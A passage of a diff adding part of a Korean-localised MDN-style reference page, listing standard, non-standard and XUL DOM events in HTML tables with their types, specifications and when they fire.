+ <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-unload" style="white-space: nowrap;">DOM L3</a></td>
+ <td>The document or a dependent resource is being unloaded.</td>
+ </tr>
+ <tr>
+ <td>{{Event("updateready")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://dev.w3.org/html5/spec/offline.html">Offline</a></td>
+ <td>The resources listed in the manifest have been newly redownloaded, and the script can use <code>swapCache()</code> to switch to the new cache.</td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/Reference/Events/upgradeneeded_indexedDB">upgradeneeded</a></code></td>
+ <td></td>
+ <td><a href="http://www.w3.org/TR/IndexedDB/#request-api">IndexedDB</a></td>
+ <td>An attempt was made to open a database with a version number higher than its current version. A <code>versionchange</code> transaction has been created.</td>
+ </tr>
+ <tr>
+ <td>{{Event("userproximity")}}</td>
+ <td>{{DOMxRef("UserProximityEvent")}} {{Experimental_Inline}}</td>
+ <td>{{SpecName("Proximity Events")}}</td>
+ <td>Fresh data is available from a proximity sensor (indicates whether the nearby object is <code>near</code> the device or not).</td>
+ </tr>
+ <tr>
+ <td>{{Event("voiceschanged")}} {{Experimental_Inline}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td>{{SpecName('Web Speech API')}}</td>
+ <td>The list of {{DOMxRef("SpeechSynthesisVoice")}} objects that would be returned by the {{DOMxRef("SpeechSynthesis.getVoices()")}} method has changed (when the {{Event("voiceschanged")}} event fires.)</td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/Reference/Events/versionchange_indexedDB">versionchange</a></code></td>
+ <td></td>
+ <td><a href="http://www.w3.org/TR/IndexedDB/#database-interface">IndexedDB</a></td>
+ <td>A <code>versionchange</code> transaction completed.</td>
+ </tr>
+ <tr>
+ <td>{{Event("visibilitychange")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.w3.org/TR/page-visibility/#sec-visibilitychange-event">Page visibility</a></td>
+ <td>The content of a tab has become visible or has been hidden.</td>
+ </tr>
+ <tr>
+ <td>{{Event("volumechange")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-volumechange">HTML5 media</a></td>
+ <td>The volume has changed.</td>
+ </tr>
+ <tr>
+ <td>{{Event("waiting")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-waiting">HTML5 media</a></td>
+ <td>Playback has stopped because of a temporary lack of data.</td>
+ </tr>
+ <tr>
+ <td>{{Event("wheel")}}{{gecko_minversion_inline("17")}}</td>
+ <td>{{DOMxRef("WheelEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-wheel" style="white-space: nowrap;">DOM L3</a></td>
+ <td>A wheel button of a pointing device is rotated in any direction.</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="비표준_이벤트">비표준 이벤트</h2>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">이벤트명</th>
+ <th scope="col">이벤트 타입</th>
+ <th scope="col">명세</th>
+ <th scope="col">발생하는 시점</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{Event("afterscriptexecute")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><em>Mozilla Specific</em></td>
+ <td>스크립트가 실행되었을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("beforescriptexecute")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><em>Mozilla Specific</em></td>
+ <td>스크립트가 실행될 때 쯤.</td>
+ </tr>
+ <tr>
+ <td>{{Event("beforeinstallprompt")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><em>Chrome specific</em></td>
+ <td>사용자가 웹사이트를 모바일의 홈 화면에 저장하기 위한 프롬프트를 했을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("cardstatechange")}}</td>
+ <td></td>
+ <td><em>Firefox OS specific</em></td>
+ <td>{{DOMxRef("MozMobileConnection.cardState")}} 속성이 값을 변경할 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("change")}}</td>
+ <td>{{DOMxRef("DeviceStorageChangeEvent")}}</td>
+ <td><em>Firefox OS specific</em></td>
+ <td>이 이벤트는 파일이 주어진 저장소에서 생성, 수정, 삭제될 때마다 실행됩니다.</td>
+ </tr>
+ <tr>
+ <td>{{Event("connectionInfoUpdate")}}</td>
+ <td></td>
+ <td><a href="http://mxr.mozilla.org/mozilla-central/source/dom/wifi/nsIWifi.idl?rev=3e586802f478#176"><em>Firefox OS specific</em></a></td>
+ <td>신호 강도에 대한 정보와 링크 속도가 업데이트 되었을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("cfstatechange")}}</td>
+ <td></td>
+ <td><em>Firefox OS specific</em></td>
+ <td>착신 전환 상태가 변경될 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("datachange")}}</td>
+ <td></td>
+ <td><em>Firefox OS specific</em></td>
+ <td>{{DOMxRef("MozMobileConnection.data")}} 객체가 값을 변경할 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("dataerror")}}</td>
+ <td></td>
+ <td><em>Firefox OS specific</em></td>
+ <td>{{DOMxRef("MozMobileConnection.data")}} 객체가 <abbr title="Radio Interface Layer">RIL</abbr> 로부터 에러를 수신했을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("DOMMouseScroll")}}{{Deprecated_Inline}}</td>
+ <td></td>
+ <td><em>Mozilla specific</em></td>
+ <td>포인팅 장치의 휠 버튼이 회전했을 때(detail 속성은 라인의 수 입니다). (대신 {{Event("wheel")}} 을 사용하세요)</td>
+ </tr>
+ <tr>
+ <td><code>dragdrop</code> {{Deprecated_Inline}}</td>
+ <td><code>DragEvent</code></td>
+ <td><em>Mozilla specific</em></td>
+ <td>엘리먼트가 드랍됐을 때(대신 {{Event("drop")}} 을 사용하세요).</td>
+ </tr>
+ <tr>
+ <td><code>dragexit</code> {{Deprecated_Inline}}</td>
+ <td><code>DragEvent</code></td>
+ <td><em>Mozilla specific</em></td>
+ <td>드래그 작업이 종료될 때(대신 {{Event("dragend")}} 를 사용하세요).</td>
+ </tr>
+ <tr>
+ <td><code>draggesture</code> {{Deprecated_Inline}}</td>
+ <td><code>DragEvent</code></td>
+ <td><em>Mozilla specific</em></td>
+ <td>사용자가 엘리먼트나 텍스트 선택을 드래그하기 시작할 때(대신 {{Event("dragstart")}} 를 사용하세요).</td>
+ </tr>
+ <tr>
+ <td>{{Event("icccardlockerror")}}</td>
+ <td></td>
+ <td><em>Firefox OS specific</em></td>
+ <td>{{DOMxRef("MozMobileConnection.unlockCardLock()")}} 또는 {{DOMxRef("MozMobileConnection.setCardLock()")}} 메소드가 실패할 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("iccinfochange")}}</td>
+ <td></td>
+ <td><em>Firefox OS specific</em></td>
+ <td>{{DOMxRef("MozMobileConnection.iccInfo")}} 객체가 변경할 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("localized")}}</td>
+ <td></td>
+ <td><em><a href="https://github.com/fabi1cazenave/webL10n">Mozilla Specific</a></em></td>
+ <td>페이지가 data-l10n-* 속성을 사용해 지역화되었을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("mousewheel")}}{{Deprecated_Inline}}</td>
+ <td></td>
+ <td><a href="http://msdn.microsoft.com/en-us/library/ie/ms536951%28v=vs.85%29.aspx"><em>IE invented</em></a></td>
+ <td>포인팅 장치의 휠 버튼이 회전했을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("MozAudioAvailable")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><em>Mozilla specific</em></td>
+ <td>오디오 버퍼가 가득차고 해당되는 원본 샘플이 사용가능 할 때.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/MozBeforeResize"><code>MozBeforeResize</code></a> {{Obsolete_Inline}}</td>
+ <td></td>
+ <td><em>Mozilla specific</em></td>
+ <td>창이 리사이즈 될 때 쯤.</td>
+ </tr>
+ <tr>
+ <td>{{Event("mozbrowseractivitydone")}}</td>
+ <td></td>
+ <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+ <td>어떤 활동이 완료될 때 전송됩니다(전체 설명 미정.)</td>
+ </tr>
+ <tr>
+ <td>{{Event("mozbrowserasyncscroll")}}</td>
+ <td></td>
+ <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+ <td>브라우저 {{HTMLElement("iframe")}} 의 스크롤 위치가 변경될 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("mozbrowseraudioplaybackchange")}}</td>
+ <td></td>
+ <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+ <td>브라우저 {{HTMLElement("iframe")}} 컨텐츠의 오디오 재생이 시작되거나 중지될 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("mozbrowsercaretstatechanged")}}</td>
+ <td></td>
+ <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+ <td>브라우저 {{HTMLElement("iframe")}} 컨텐츠내의 선택된 텍스트가 변경할 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("mozbrowserclose")}}</td>
+ <td></td>
+ <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+ <td>브라우저 {{HTMLElement("iframe")}} 에서 window.close() 가 호출될 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("mozbrowsercontextmenu")}}</td>
+ <td></td>
+ <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+ <td>브라우저 {{HTMLElement("iframe")}} 이 컨텍스트 메뉴 열기를 시도할 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("mozbrowserdocumentfirstpaint")}}</td>
+ <td></td>
+ <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+ <td>브라우저 {{HTMLElement("iframe")}} 내의 다큐먼트에서 새로운 페인트가 발생할 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("mozbrowsererror")}}</td>
+ <td></td>
+ <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+ <td>브라우저 iframe 에서 컨텐츠 로딩을 시도하는동안 에러가 발생할 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("mozbrowserfindchange")}}</td>
+ <td></td>
+ <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+ <td>브라우저 {{HTMLElement("iframe")}} 컨텐츠에서 검색 작업이 실행될 때(<a href="/en-US/docs/Web/API/HTMLIFrameElement#Search_methods">HTMLIFrameElement search methods</a> 문서를 보세요.)</td>
+ </tr>
+ <tr>
+ <td>{{Event("mozbrowserfirstpaint")}}</td>
+ <td></td>
+ <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+ <td>{{HTMLElement("iframe")}} 이 첫 번째로 컨텐츠를 페인트할 때(about:blank 에서의 첫 페인트는 포함하지 않습니다.)</td>
+ </tr>
+ <tr>
+ <td>{{Event("mozbrowsericonchange")}}</td>
+ <td></td>
+ <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+ <td>브라우저 iframe 의 favicon 이 변경될 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("mozbrowserlocationchange")}}</td>
+ <td></td>
+ <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+ <td>브라우저 iframe 의 위치가 변경될 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("mozbrowserloadend")}}</td>
+ <td></td>
+ <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+ <td>브라우저 iframe 이 모든 자원의 로딩을 마쳤을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("mozbrowserloadstart")}}</td>
+ <td></td>
+ <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+ <td>브라우저 irame 이 새로운 페이지 로딩을 시작할 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("mozbrowsermanifestchange")}}</td>
+ <td></td>
+ <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+ <td>열린 웹 앱이 포함된 브라우저 {{HTMLElement("iframe")}} 의 경우, 앱 매니페스트의 경로가 변경될 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("mozbrowsermetachange")}}</td>
+ <td></td>
+ <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+ <td>{{htmlelement("meta")}} 엘리먼트가 브라우저 {{HTMLElement("iframe")}} 의 컨텐츠에서 추가, 제거, 변경될 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("mozbrowseropensearch")}}</td>
+ <td></td>
+ <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+ <td>검색 엔진의 링크가 발견되었을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("mozbrowseropentab")}}</td>
+ <td></td>
+ <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+ <td>Sent when a new tab is opened within a browser {{HTMLElement("iframe")}} as a result of the user issuing a command to open a link target in a new tab (for example <kbd>ctrl</kbd>/<kbd>cmd</kbd> + click.)</td>
+ </tr>
+ <tr>
+ <td>{{Event("mozbrowseropenwindow")}}</td>
+ <td></td>
+ <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+ <td>Sent when {{DOMxRef("window.open()")}} is called within a browser iframe.</td>
+ </tr>
+ <tr>
+ <td>{{Event("mozbrowserresize")}}</td>
+ <td></td>
+ <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+ <td>Sent when the browser {{HTMLElement("iframe")}}'s window size has changed.</td>
+ </tr>
+ <tr>
+ <td>{{Event("mozbrowserscroll")}}</td>
+ <td></td>
+ <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+ <td>Sent when the browser {{HTMLElement("iframe")}} content scrolls.</td>
+ </tr>
+ <tr>
+ <td>{{Event("mozbrowserscrollareachanged")}}</td>
+ <td></td>
+ <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+ <td>Sent when the available scrolling area  in the browser {{HTMLElement("iframe")}} changes. This can occur on resize and when the page size changes (while loading for example.)</td>
+ </tr>
+ <tr>
+ <td>{{Event("mozbrowserscrollviewchange")}}</td>
+ <td></td>
+ <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+ <td>Sent when asynchronous scrolling (i.e. APCZ) starts or stops.</td>
+ </tr>
+ <tr>
+ <td>{{Event("mozbrowsersecuritychange")}}</td>
+ <td></td>
+ <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+ <td>Sent when the SSL state changes within a browser iframe.</td>
+ </tr>
+ <tr>
+ <td>{{Event("mozbrowserselectionstatechanged")}}</td>
+ <td></td>
+ <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+ <td>Sent when the text selected inside the browser {{HTMLElement("iframe")}} content changes. Note that this is deprecated, and newer implementations use {{Event("mozbrowsercaretstatechanged")}} instead.</td>
+ </tr>
+ <tr>
+ <td>{{Event("mozbrowsershowmodalprompt")}}</td>
+ <td></td>
+ <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+ <td>Sent when {{DOMxRef("window.alert","alert()")}}, {{DOMxRef("window.confirm","confirm()")}} or {{DOMxRef("window.prompt","prompt()")}} are called within a browser iframe</td>
+ </tr>
+ <tr>
+ <td>{{Event("mozbrowsertitlechange")}}</td>
+ <td></td>
+ <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+ <td>Sent when the document.title changes within a browser iframe.</td>
+ </tr>
+ <tr>
+ <td>{{Event("mozbrowserusernameandpasswordrequired")}}</td>
+ <td></td>
+ <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+ <td>Sent when an HTTP authentification is requested.</td>
+ </tr>
+ <tr>
+ <td>{{Event("mozbrowservisibilitychange")}}</td>
+ <td></td>
+ <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+ <td>Sent when the visibility state of the current browser iframe {{HTMLElement("iframe")}} changes, for example due to a call to {{DOMxRef("HTMLIFrameElement.setVisible","setVisible()")}}.</td>
+ </tr>
+ <tr>
+ <td>{{Event("MozGamepadButtonDown")}}</td>
+ <td></td>
+ <td><em>To be specified</em></td>
+ <td>A gamepad button is pressed down.</td>
+ </tr>
+ <tr>
+ <td>{{Event("MozGamepadButtonUp")}}</td>
+ <td></td>
+ <td><em>To be specified</em></td>
+ <td>A gamepad button is released.</td>
+ </tr>
+ <tr>
+ <td>{{Event("MozMousePixelScroll")}} {{Deprecated_Inline}}</td>
+ <td></td>
+ <td><em>Mozilla specific</em></td>
+ <td>The wheel button of a pointing device is rotated (detail attribute is a number of pixels). (use wheel instead)</td>
+ </tr>
+ <tr>
+ <td>{{Event("MozOrientation")}} {{Deprecated_Inline}}</td>
+ <td></td>
+ <td><em>Mozilla specific</em></td>
+ <td>Fresh data is available from an orientation sensor (see deviceorientation).</td>
+ </tr>
+ <tr>
+ <td>{{Event("MozScrolledAreaChanged")}}</td>
+ <td>{{DOMxRef("UIEvent")}}</td>
+ <td><em>Mozilla specific</em></td>
+ <td>The document view has been scrolled or resized.</td>
+ </tr>
+ <tr>
+ <td>{{Event("moztimechange")}}</td>
+ <td></td>
+ <td><em>Mozilla specific</em></td>
+ <td>The time of the device has been changed.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/DOM/Touch_events_(Mozilla_experimental)">MozTouchDown</a> {{Deprecated_Inline}}</td>
+ <td></td>
+ <td><em>Mozilla specific</em></td>
+ <td>A touch point is placed on the touch surface (use touchstart instead).</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/DOM/Touch_events_(Mozilla_experimental)">MozTouchMove</a> {{Deprecated_Inline}}</td>
+ <td></td>
+ <td><em>Mozilla specific</em></td>
+ <td>A touch point is moved along the touch surface (use touchmove instead).</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/DOM/Touch_events_(Mozilla_experimental)">MozTouchUp</a> {{Deprecated_Inline}}</td>
+ <td></td>
+ <td><em>Mozilla specific</em></td>
+ <td>A touch point is removed from the touch surface (use touchend instead).</td>
+ </tr>
+ <tr>
+ <td>{{Event("alerting")}}</td>
+ <td>{{DOMxRef("CallEvent")}}</td>
+ <td><em>To be specified</em></td>
+ <td>The correspondent is being alerted (his/her phone is ringing).</td>
+ </tr>
+ <tr>
+ <td>{{Event("busy")}}</td>
+ <td>{{DOMxRef("CallEvent")}}</td>
+ <td><em>To be specified</em></td>
+ <td>The line of the correspondent is busy.</td>
+ </tr>
+ <tr>
+ <td>{{Event("callschanged")}}</td>
+ <td>{{DOMxRef("CallEvent")}}</td>
+ <td><em>To be specified</em></td>
+ <td>A call has been added or removed from the list of current calls.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/DOM/onconnected">onconnected</a> {{Event("connected")}}</td>
+ <td>{{DOMxRef("CallEvent")}}</td>
+ <td><em>To be specified</em></td>
+ <td>A call has been connected.</td>
+ </tr>
+ <tr>
+ <td>{{Event("connecting")}}</td>
+ <td>{{DOMxRef("CallEvent")}}</td>
+ <td><em>To be specified</em></td>
+ <td>A call is about to connect.</td>
+ </tr>
+ <tr>
+ <td>{{Event("delivered")}}</td>
+ <td>{{DOMxRef("SMSEvent")}}</td>
+ <td><em>To be specified</em></td>
+ <td>An SMS has been successfully delivered.</td>
+ </tr>
+ <tr>
+ <td>{{Event("dialing")}}</td>
+ <td>{{DOMxRef("CallEvent")}}</td>
+ <td><em>To be specified</em></td>
+ <td>The number of a correspondent has been dialed.</td>
+ </tr>
+ <tr>
+ <td>{{Event("disabled")}}</td>
+ <td></td>
+ <td><a href="http://mxr.mozilla.org/mozilla-central/source/dom/wifi/nsIWifi.idl?rev=3e586802f478#182"><em>Firefox OS specific</em></a></td>
+ <td>Wifi has been disabled on the device.</td>
+ </tr>
+ <tr>
+ <td>{{Event("disconnected")}}</td>
+ <td>{{DOMxRef("CallEvent")}}</td>
+ <td><em>To be specified</em></td>
+ <td>A call has been disconnected.</td>
+ </tr>
+ <tr>
+ <td>{{Event("disconnecting")}}</td>
+ <td>{{DOMxRef("CallEvent")}}</td>
+ <td><em>To be specified</em></td>
+ <td>A call is about to disconnect.</td>
+ </tr>
+ <tr>
+ <td>{{Event("enabled")}}</td>
+ <td></td>
+ <td><a href="http://mxr.mozilla.org/mozilla-central/source/dom/wifi/nsIWifi.idl?rev=3e586802f478#182"><em>Firefox OS specific</em></a></td>
+ <td>Wifi has been enabled on the device.</td>
+ </tr>
+ <tr>
+ <td>{{Event("error_(Telephony)","error")}}</td>
+ <td>{{DOMxRef("CallEvent")}}</td>
+ <td><em>To be specified</em></td>
+ <td>An error occurred.</td>
+ </tr>
+ <tr>
+ <td>{{Event("held")}}</td>
+ <td>{{DOMxRef("CallEvent")}}</td>
+ <td><em>To be specified</em></td>
+ <td>A call has been held.</td>
+ </tr>
+ <tr>
+ <td>{{Event("holding")}}</td>
+ <td>{{DOMxRef("CallEvent")}}</td>
+ <td><em>To be specified</em></td>
+ <td>A call is about to be held.</td>
+ </tr>
+ <tr>
+ <td>{{Event("incoming")}}</td>
+ <td>{{DOMxRef("CallEvent")}}</td>
+ <td><em>To be specified</em></td>
+ <td>A call is being received.</td>
+ </tr>
+ <tr>
+ <td>{{Event("received")}}</td>
+ <td>{{DOMxRef("SMSEvent")}}</td>
+ <td><em>To be specified</em></td>
+ <td>An SMS has been received.</td>
+ </tr>
+ <tr>
+ <td>{{Event("resuming")}}</td>
+ <td>{{DOMxRef("CallEvent")}}</td>
+ <td><em>To be specified</em></td>
+ <td>A call is about to resume.</td>
+ </tr>
+ <tr>
+ <td>{{Event("sent")}}</td>
+ <td>{{DOMxRef("SMSEvent")}}</td>
+ <td><em>To be specified</em></td>
+ <td>An SMS has been sent.</td>
+ </tr>
+ <tr>
+ <td>{{Event("statechange")}}</td>
+ <td>{{DOMxRef("CallEvent")}}</td>
+ <td><em>To be specified</em></td>
+ <td>The state of a call has changed.</td>
+ </tr>
+ <tr>
+ <td>{{Event("statuschange")}}</td>
+ <td></td>
+ <td><a href="http://mxr.mozilla.org/mozilla-central/source/dom/wifi/nsIWifi.idl?rev=3e586802f478#156"><em>Firefox OS specific</em></a></td>
+ <td>The status of the Wifi connection changed.</td>
+ </tr>
+ <tr>
+ <td>{{Event("overflow")}}</td>
+ <td>{{DOMxRef("UIEvent")}}</td>
+ <td><em>Mozilla specific</em></td>
+ <td>An element has been overflowed by its content or has been rendered for the first time in this state (only works for elements styled with <code>overflow</code> != <code>visible</code>).</td>
+ </tr>
+ <tr>
+ <td>{{Event("smartcard-insert")}}</td>
+ <td></td>
+ <td><em>Mozilla specific</em></td>
+ <td>A <a href="/en-US/docs/JavaScript_crypto">smartcard</a> has been inserted.</td>
+ </tr>
+ <tr>
+ <td>{{Event("smartcard-remove")}}</td>
+ <td></td>
+ <td><em>Mozilla specific</em></td>
+ <td>A <a href="/en-US/docs/JavaScript_crypto">smartcard</a> has been removed.</td>
+ </tr>
+ <tr>
+ <td>{{Event("stkcommand")}}</td>
+ <td></td>
+ <td><em>Firefox OS specific</em></td>
+ <td>The <abbr title="SIM Application Toolkit">STK</abbr> Proactive Command is issued from <abbr title="Integrated Circuit Card">ICC</abbr>.</td>
+ </tr>
+ <tr>
+ <td>{{Event("stksessionend")}}</td>
+ <td></td>
+ <td><em>Firefox OS specific</em></td>
+ <td>The <abbr title="SIM Application Toolkit">STK</abbr> Session is terminated by <abbr title="Integrated Circuit Card">ICC</abbr>.</td>
+ </tr>
+ <tr>
+ <td><code>text</code></td>
+ <td></td>
+ <td><em>Mozilla Specific</em></td>
+ <td>A generic composition event occurred.</td>
+ </tr>
+ <tr>
+ <td>{{Event("touchenter")}}</td>
+ <td>{{DOMxRef("TouchEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/touch-events/#the-touchstart---------event">Touch Events</a> Removed</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{Event("touchleave")}}</td>
+ <td>{{DOMxRef("TouchEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/touch-events/#the-touchstart---------event">Touch Events</a> Removed</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{Event("underflow")}}</td>
+ <td>{{DOMxRef("UIEvent")}}</td>
+ <td><em>Mozilla specific</em></td>
+ <td>An element is no longer overflowed by its content (only works for elements styled with <code>overflow</code> != <code>visible</code>).</td>
+ </tr>
+ <tr>
+ <td><code>uploadprogress</code> {{Deprecated_Inline}}</td>
+ <td>{{DOMxRef("ProgressEvent")}}</td>
+ <td><em>Mozilla Specific</em></td>
+ <td>Upload is in progress (see {{Event("progress")}}).</td>
+ </tr>
+ <tr>
+ <td>
+ <p>{{Event("ussdreceived")}}</p>
+ </td>
+ <td></td>
+ <td><em>Firefox OS specific</em></td>
+ <td>A new <abbr title="Unstructured Supplementary Service Data">USSD</abbr> message is received</td>
+ </tr>
+ <tr>
+ <td>{{Event("voicechange")}}</td>
+ <td></td>
+ <td><em>Firefox OS specific</em></td>
+ <td>The {{DOMxRef("MozMobileConnection.voice")}} object changes values.</td>
+ </tr>
+ <tr>
+ <td>{{Event("msContentZoom")}}</td>
+ <td></td>
+ <td><em>Microsoft specific</em></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{Event("MSManipulationStateChanged")}}</td>
+ <td></td>
+ <td><em>Microsoft specific</em></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{Event("MSPointerHover")}} {{Deprecated_Inline}}</td>
+ <td></td>
+ <td><em>Microsoft specific</em></td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Mozilla-specific_events">Mozilla-specific events</h2>
+
+<div class="note">
+<p><strong>Note:</strong> those events are never exposed to web content and can only be used in chrome content context.</p>
+</div>
+
+<h3 id="XUL_events">XUL events</h3>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Event Name</th>
+ <th scope="col">Event Type</th>
+ <th scope="col">Specification</th>
+ <th scope="col">Fired when...</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{Event("broadcast")}}</td>
+ <td></td>
+ <td><a href="/en-US/docs/XUL/Tutorial/Broadcasters_and_Observers#Broadcast_event">XUL</a></td>
+ <td>An <code>observer</code> noticed a change to the attributes of a watched broadcaster.</td>
+ </tr>
+ <tr>
+ <td>{{Event("CheckboxStateChange")}}</td>
+ <td></td>
+ <td>XUL</td>
+ <td>The state of a <code>checkbox</code> has been changed either by a user action or by a script (useful for accessibility).</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/Reference/Events/close_event">close</a></td>
+ <td></td>
+ <td>XUL</td>
+ <td>The close button of the window has been clicked.</td>
+ </tr>
+ <tr>
+ <td>{{Event("command")}}</td>
+ <td></td>
+ <td>XUL</td>
+ <td>An element has been activated.</td>
+ </tr>
+ <tr>
+ <td>{{Event("commandupdate")}}</td>
+ <td></td>
+ <td>XUL</td>
+ <td>A command update occurred on a <code>commandset</code> element.</td>
+ </tr>
+ <tr>
+ <td>{{Event("DOMMenuItemActive")}}</td>
+ <td></td>
+ <td>XUL</td>
+ <td>A menu or menuitem has been hovered or highlighted.</td>
+ </tr>
+ <tr>
+ <td>{{Event("DOMMenuItemInactive")}}</td>
+ <td></td>
+ <td><em>XUL</em></td>
+ <td>A menu or menuitem is no longer hovered or highlighted.</td>
+ </tr>
+ <tr>
+ <td>{{Event("popuphidden")}}</td>
+ <td><code>PopupEvent</code></td>
+ <td><a href="/en-US/docs/XUL/PopupGuide/PopupEvents"><em>XUL</em></a></td>
+ <td>A menupopup, panel or tooltip has been hidden.</td>
+ </tr>
+ <tr>
+ <td>{{Event("popuphiding")}}</td>
+ <td><code>PopupEvent</code></td>
+ <td><a href="/en-US/docs/XUL/PopupGuide/PopupEvents"><em>XUL</em></a></td>
+ <td>A menupopup, panel or tooltip is about to be hidden.</td>
+ </tr>
+ <tr>
+ <td>{{Event("popupshowing")}}</td>
+ <td><code>PopupEvent</code></td>
+ <td><a href="/en-US/docs/XUL/PopupGuide/PopupEvents"><em>XUL</em></a></td>
+ <td>A menupopup, panel or tooltip is about to become visible.</td>
+ </tr>
+ <tr>
+ <td>{{Event("popupshown")}}</td>
+ <td><code>PopupEvent</code></td>
+ <td><a href="/en-US/docs/XUL/PopupGuide/PopupEvents"><em>XUL</em></a></td>
+ <td>A menupopup, panel or tooltip has become visible.</td>
+ </tr>
+ <tr>
+ <td>{{Event("RadioStateChange")}}</td>
+ <td></td>
+ <td>XUL</td>
